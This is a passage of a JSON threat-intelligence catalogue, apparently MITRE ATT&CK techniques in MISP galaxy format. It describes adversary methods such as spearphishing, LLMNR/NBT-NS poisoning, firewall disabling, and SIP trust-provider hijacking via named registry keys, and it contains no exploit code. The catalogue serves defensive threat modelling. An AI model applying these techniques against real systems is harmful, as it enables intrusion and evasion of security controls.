"value": "Assess vulnerability of 3rd party vendors - T1298"
},
{
"description": "An adversary could use access to a compromised device's credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).",
"meta": {
"external_id": "T1452",
"kill_chain": [
"mitre-mobile-attack:impact"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1452"
]
},
"related": [],
"uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69",
"value": "Manipulate App Store Rankings or Ratings - T1452"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1247).\n\nOpen source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)",
"meta": {
"external_id": "T1247",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1247"
]
},
"related": [
{
"dest-uuid": "028ad431-84c5-4eb7-a364-2b797c234f88",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
},
{
"dest-uuid": "2b9a666e-bd59-4f67-9031-ed41b428e04a",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "784ff1bc-1483-41fe-a172-4cd9ae25c06b",
"value": "Acquire OSINT data sets and information - T1247"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1266).\n\nOpen source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)",
"meta": {
"external_id": "T1266",
"kill_chain": [
"mitre-pre-attack:people-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1266"
]
},
"related": [
{
"dest-uuid": "028ad431-84c5-4eb7-a364-2b797c234f88",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
},
{
"dest-uuid": "784ff1bc-1483-41fe-a172-4cd9ae25c06b",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "2b9a666e-bd59-4f67-9031-ed41b428e04a",
"value": "Acquire OSINT data sets and information - T1266"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1277).\n\nData sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors. Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)",
"meta": {
"external_id": "T1277",
"kill_chain": [
"mitre-pre-attack:organizational-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1277"
]
},
"related": [
{
"dest-uuid": "2b9a666e-bd59-4f67-9031-ed41b428e04a",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
},
{
"dest-uuid": "784ff1bc-1483-41fe-a172-4cd9ae25c06b",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "028ad431-84c5-4eb7-a364-2b797c234f88",
"value": "Acquire OSINT data sets and information - T1277"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1299).\n\nDuring mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)",
"meta": {
"external_id": "T1299",
"kill_chain": [
"mitre-pre-attack:organizational-weakness-identification"
],
"refs": [
"https://attack.mitre.org/techniques/T1299"
]
},
"uuid": "e2aa077d-60c9-4de5-b015-a9c382877cd9",
"value": "Assess opportunities created by business deals - T1299"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1338).\n\nFake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)",
"meta": {
"external_id": "T1338",
"kill_chain": [
"mitre-pre-attack:establish-&-maintain-infrastructure"
],
"refs": [
"https://attack.mitre.org/techniques/T1338"
]
},
"uuid": "54a42187-a20c-4e4e-ba31-8d15c9e1f57f",
"value": "SSL certificate acquisition for trust breaking - T1338"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1348).\n\nAs with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)",
"meta": {
"external_id": "T1348",
"kill_chain": [
"mitre-pre-attack:build-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1348"
]
},
"uuid": "c9fb4451-729d-4771-b205-52c1829f949c",
"value": "Identify resources required to build capabilities - T1348"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1365).\n\nDuring production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)",
"meta": {
"external_id": "T1365",
"kill_chain": [
"mitre-pre-attack:stage-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1365"
]
},
"uuid": "388f3a5c-2cdd-466c-9159-b507fa429fcd",
"value": "Hardware or software supply chain implant - T1365"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1357).\n\nMalware may perform differently on different platforms (computer vs handheld) and different operating systems ([Ubuntu](http://www.ubuntu.com) vs [OS X](http://www.apple.com/osx)), and versions ([Windows](http://windows.microsoft.com) 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)",
"meta": {
"external_id": "T1357",
"kill_chain": [
"mitre-pre-attack:test-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1357"
]
},
"uuid": "e042a41b-5ecf-4f3a-8f1f-1b528c534772",
"value": "Test malware in various execution environments - T1357"
},
{
"description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nSocial Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)",
"meta": {
"external_id": "T1376",
"kill_chain": [
"mitre-pre-attack:launch"
],
"refs": [
"https://attack.mitre.org/techniques/T1376"
]
},
"uuid": "b79a1960-d0be-4b51-bb62-b27e91e1dea0",
"value": "Conduct social engineering or HUMINT operation - T1376"
},
{
"description": "**This technique has been deprecated. Please use [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).**\n\nEmails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)",
"meta": {
"external_id": "T1367",
"kill_chain": [
"mitre-pre-attack:launch"
],
"refs": [
"https://attack.mitre.org/techniques/T1367"
]
},
"uuid": "e24a9f99-cb76-42a3-a50b-464668773e97",
"value": "Spear phishing messages with malicious attachments - T1367"
},
{
"description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nClicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)",
"meta": {
"external_id": "T1386",
"kill_chain": [
"mitre-pre-attack:compromise"
],
"refs": [
"https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/",
"https://attack.mitre.org/techniques/T1386"
]
},
"uuid": "0440f60f-9056-4791-a740-8eae96eb61fa",
"value": "Authorized user performs requested cyber action - T1386"
},
{
"description": "**This technique has been deprecated. Please use [Phishing](https://attack.mitre.org/techniques/T1566) where appropriate.**\n\nEmails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)",
"meta": {
"external_id": "T1368",
"kill_chain": [
"mitre-pre-attack:launch"
],
"refs": [
"https://attack.mitre.org/techniques/T1368"
]
},
"uuid": "2fc04aa5-48c1-49ec-919a-b88241ef1d17",
"value": "Spear phishing messages with text only - T1368"
},
{
"description": "**This technique has been deprecated. Please use [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002).**\n\nEmails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)",
"meta": {
"external_id": "T1369",
"kill_chain": [
"mitre-pre-attack:launch"
],
"refs": [
"https://attack.mitre.org/techniques/T1369"
]
},
"uuid": "489a7797-01c3-4706-8cd1-ec56a9db3adc",
"value": "Spear phishing messages with malicious links - T1369"
},
{
"description": "**This technique has been deprecated. Please use [Hardware Additions](https://attack.mitre.org/techniques/T1200) where appropriate.**\n\nIf an adversary can gain physical access to the target's environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)",
"meta": {
"external_id": "T1387",
"kill_chain": [
"mitre-pre-attack:compromise"
],
"refs": [
"https://attack.mitre.org/techniques/T1387"
]
},
"uuid": "b3253d9e-ba11-430f-b5a3-4db844ce5413",
"value": "Unauthorized user introduces compromise delivery mechanism - T1387"
},
{
"description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.\n\nMany Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.\n\nIf the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.",
"meta": {
"external_id": "APP-27",
"kill_chain": [
"mitre-mobile-attack:defense-evasion",
"mitre-mobile-attack:persistence"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1398",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html",
"https://www.apple.com/business/docs/iOS_Security_Guide.pdf",
"https://www2.samsungknox.com/en/faq/what-knox-warranty-bit-and-how-it-triggered"
]
},
"uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5",
"value": "Modify OS Kernel or Boot Partition - T1398"
},
{
"description": "If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection(Citation: Krebs-JuiceJacking).\n\nPrevious demonstrations have included:\n\n* Injecting malicious applications into iOS devices(Citation: Lau-Mactans).\n* Exploiting a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location(Citation: IBM-NexusUSB).\n* Exploiting Android devices such as the Google Pixel 2 over USB(Citation: GoogleProjectZero-OATmeal).\n\nProducts from Cellebrite and Grayshift purportedly can use physical access to the data port to unlock the passcode on some iOS devices(Citation: Computerworld-iPhoneCracking).",
"meta": {
"external_id": "PHY-1",
"kill_chain": [
"mitre-mobile-attack:initial-access"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/",
"https://attack.mitre.org/techniques/T1458",
"https://googleprojectzero.blogspot.com/2018/09/oatmeal-on-universal-cereal-bus.html",
"https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf",
"https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html",
"https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/",
"https://www.computerworld.com/article/3268729/apple-ios/two-vendors-now-sell-iphone-cracking-technology-and-police-are-buying.html"
]
},
"uuid": "667e5707-3843-4da8-bd34-88b922526f0d",
"value": "Exploit via Charging Station or PC - T1458"
},
{
"description": "Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working.\n\nDelivery methods for the malicious application include:\n\n* [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) - Including the mobile app package as an attachment to an email message.\n* [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means.\n* Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird)\n\nSome Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa)",
"meta": {
"external_id": "ECO-21",
"kill_chain": [
"mitre-mobile-attack:initial-access"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1476",
"https://blog.trendmicro.com/trendlabs-security-intelligence/flappy-bird-and-third-party-app-stores/",
"https://blog.trendmicro.com/trendlabs-security-intelligence/user-beware-rooting-malware-found-in-3rd-party-app-stores/",
"https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html",
"https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-13.html",
"https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-21.html",
"https://www.ibtimes.co.uk/danger-lurks-third-party-android-app-stores-1544861",
"https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/"
]
},
"uuid": "53263a67-075e-48fa-974b-91c5b5445db7",
"value": "Deliver Malicious App via Other Means - T1476"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1362).\n\nAn adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)",
"meta": {
"external_id": "T1362",
"kill_chain": [
"mitre-pre-attack:stage-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1362"
]
},
"uuid": "e8471f43-2742-4fd7-9af7-8ed1330ada37",
"value": "Upload, install, and configure software/tools - T1362"
},
{
"description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ",
"meta": {
"external_id": "T1048.003",
"kill_chain": [
"mitre-attack:exfiltration"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1048/003"
]
},
"related": [
{
"dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776",
"type": "subtechnique-of"
}
],
"uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b",
"value": "Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - T1048.003"
},
{
"description": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)",
"meta": {
"external_id": "T1557.001",
"kill_chain": [
"mitre-attack:credential-access",
"mitre-attack:collection"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Service: Service Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1557/001",
"https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html",
"https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html",
"https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution",
"https://github.com/Kevin-Robertson/Conveigh",
"https://github.com/SpiderLabs/Responder",
"https://github.com/nomex/nbnspoof",
"https://technet.microsoft.com/library/cc958811.aspx",
"https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response",
"https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning"
]
},
"related": [
{
"dest-uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
"type": "subtechnique-of"
}
],
"uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e",
"value": "LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001"
},
{
"description": "Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.\n\nAdversaries may also use the same icon of the file they are trying to mimic.",
"meta": {
"external_id": "CAPEC-177",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Metadata",
"Image: Image Metadata",
"Process: Process Metadata"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Containers"
],
"refs": [
"http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf",
"https://attack.mitre.org/techniques/T1036/005",
"https://capec.mitre.org/data/definitions/177.html",
"https://docs.docker.com/engine/reference/commandline/images/",
"https://twitter.com/ItsReallyNick/status/1055321652777619457"
]
},
"related": [
{
"dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
"type": "subtechnique-of"
}
],
"uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
"value": "Match Legitimate Name or Location - T1036.005"
},
{
"description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. ",
"meta": {
"external_id": "T1562.004",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Firewall: Firewall Disable",
"Firewall: Firewall Rule Modification",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1562/004"
]
},
"related": [
{
"dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
"type": "subtechnique-of"
}
],
"uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
"value": "Disable or Modify System Firewall - T1562.004"
},
{
"description": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity.(Citation: Expel IO Evil in AWS)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.",
"meta": {
"external_id": "T1562.007",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Firewall: Firewall Disable",
"Firewall: Firewall Rule Modification"
],
"mitre_platforms": [
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1562/007",
"https://expel.io/blog/finding-evil-in-aws/"
]
},
"related": [
{
"dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
"type": "subtechnique-of"
}
],
"uuid": "77532a55-c283-4cd2-bc5d-2d0b65e9d88c",
"value": "Disable or Modify Cloud Firewall - T1562.007"
},
{
"description": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)",
"meta": {
"external_id": "T1553.003",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Modification",
"Module: Module Load",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://www.entrust.net/knowledge-base/technote.cfm?tn=8165",
"https://attack.mitre.org/techniques/T1553/003",
"https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/",
"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)",
"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)",
"https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files",
"https://github.com/mattifestation/PoCSubjectInterfacePackage",
"https://msdn.microsoft.com/library/ms537359.aspx",
"https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx",
"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"
]
},
"related": [
{
"dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7",
"type": "subtechnique-of"
}
],
"uuid": "543fceb5-cb92-40cb-aacf-6913d4db58bc",
"value": "SIP and Trust Provider Hijacking - T1553.003"
},
{
"description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime. (Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription. (Citation: Dell WMI Persistence) (Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.",
"meta": {
"external_id": "T1546.003",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"WMI: WMI Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1546/003",
"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1",
"https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-",
"https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96",
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf",
"https://www.secureworks.com/blog/wmi-persistence",
"https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf"
]
},
"related": [
{
"dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
"type": "subtechnique-of"
}
],
"uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58",
